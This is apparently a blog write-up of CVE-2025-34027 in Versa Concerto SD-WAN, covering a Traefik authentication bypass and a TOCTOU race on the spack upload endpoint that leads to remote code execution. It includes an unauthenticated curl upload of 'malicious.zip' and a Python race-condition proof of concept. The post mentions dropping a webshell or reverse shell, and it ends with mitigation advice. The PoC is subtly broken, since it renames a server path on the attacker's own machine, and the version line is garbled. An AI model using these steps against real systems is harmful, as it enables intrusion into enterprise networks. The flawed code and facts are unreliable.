CVE-2025-34027 is a critical vulnerability affecting Versa Concerto SD-WAN orchestration platforms, specifically versions 12.1.2 through 12.2. (and potentially others). The flaw lies in the Traefik reverse proxy configuration, which, when combined with improper endpoint handling, results in an authentication bypass. Attackers can then exploit the Spack upload endpoint with a classic Time-of-Check to Time-of-Use (TOCTOU) race condition to achieve remote code execution (RCE) as an unauthenticated user.

This post breaks down how the CVE-2025-34027 vulnerability works, provides practical code snippets, and references additional materials for further reading.

What is Versa Concerto?

Versa Concerto orchestrates SD-WAN deployments, managing network, security, and automation. Given its central role, vulnerabilities here can impact entire enterprise networks.

Root Cause

1. Traefik Reverse Proxy Flaw: The platform uses Traefik as a reverse proxy but misconfigures certain routing rules, letting unauthenticated requests reach sensitive endpoints.

2. Spack Upload Endpoint: This admin endpoint is designed for uploading update bundles (or "spacks"). Due to the proxy’s misconfiguration, unauthenticated users can potentially POST to it.

3. TOCTOU Race Condition: The backend performs insufficient checks on files immediately after upload, allowing malicious actors to exploit a narrow race window to manipulate how these files are loaded and executed.

1. Bypass Authentication via Traefik

Attackers discover that the misconfigured reverse proxy allows them to access admin endpoints without any credentials. For example:

# Send a request directly to the Spack upload endpoint
curl -k -X POST https://target.concerto.example/api/update/spack/upload \
    -F 'file=@malicious.zip'

If the system returns a success response, this means authentication is not enforced.

2. Trigger Spack Upload

The spack/upload endpoint processes ZIP archives and places them in a temporary directory. The application typically runs integrity checks, but as explained below, these checks can be bypassed in a race condition.

3. Exploit TOCTOU Race

Between the time the backend checks the contents of the uploaded ZIP and when it actually uses (or executes) them, there’s a brief moment (the "race window"). Here, the attacker replaces or modifies the file—so when the system actually loads it, the malicious version is in use.

Proof-of-concept (PoC)

# Pseudocode for exploiting TOCTOU on the Spack endpoint

import threading
import requests
import time
import os

TARGET = 'https://target.concerto.example';
UPLOAD_URL = TARGET + '/api/update/spack/upload'

def upload_zip(file):
    with open(file, 'rb') as f:
        files = {'file': (file, f, 'application/zip')}
        r = requests.post(UPLOAD_URL, files=files, verify=False)
        print("Upload response:", r.status_code, r.text)

def replace_file(local_path, malicious_zip):
    # Wait very briefly to make sure original ZIP is written
    time.sleep(.02)
    os.rename(malicious_zip, local_path)

# Step 1: Start uploading a benign ZIP
t1 = threading.Thread(target=upload_zip, args=('benign.zip',))

# Step 2: Race to replace the file
t2 = threading.Thread(target=replace_file, args=('/tmp/upload/spack.zip', 'malicious.zip'))

t1.start()
t2.start()
t1.join()
t2.join()

Note: The exact timings and file paths may differ per deployment.

Post-Exploitation Impact

If successful, your malicious.zip may contain a payload such as a webshell or reverse shell. When the backend extracts and loads the ZIP contents (thinking it’s valid), it executes your code as a privileged user, giving you remote code execution.

Affected Versions

- Confirmed: Priori 12.1.2 → 12.2. (see Versa advisory)

For admins

1. Upgrade Immediately: Patch (if available) or restrict external access to the orchestration panel.
2. Reverse Proxy Review: Strengthen authentication in Traefik by checking your router/middleware rules. Example configuration:

# Secure Traefik example (do not use as is – customize for your environment)
middlewares:
  auth:
    basicAuth:
      users:
        - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
routers:
  protected:
    rule: "Host(concerto.example) && PathPrefix(/api/update/spack)"
    middlewares:
      - auth

3. File System Monitoring: Watch /tmp/ or whatever directory ZIPs are staged in for suspicious activity.
4. Rate-Limit/Alert on Uploads: Strange spack upload frequency from unknown sources should trigger alerts.

References

- Versa Security Advisories
- Traefik Documentation
- Original PoC discussion (example)
- CVE Details for CVE-2025-34027

In Summary

CVE-2025-34027 combines an authentication bypass via a reverse proxy error with a race condition at the spack upload endpoint, giving attackers a direct path to remote code execution on critical SD-WAN infrastructure. If your organization runs Versa Concerto, patch immediately and double-check network access controls around all orchestration panels.

Stay safe, and keep your SD-WAN out of harm’s way!

*Exclusively researched and written for this post. Please share responsibly and alert your security team immediately if you use Versa products.*

Timeline

Published on: 05/21/2025 22:15:50 UTC
Last modified on: 05/23/2025 15:55:02 UTC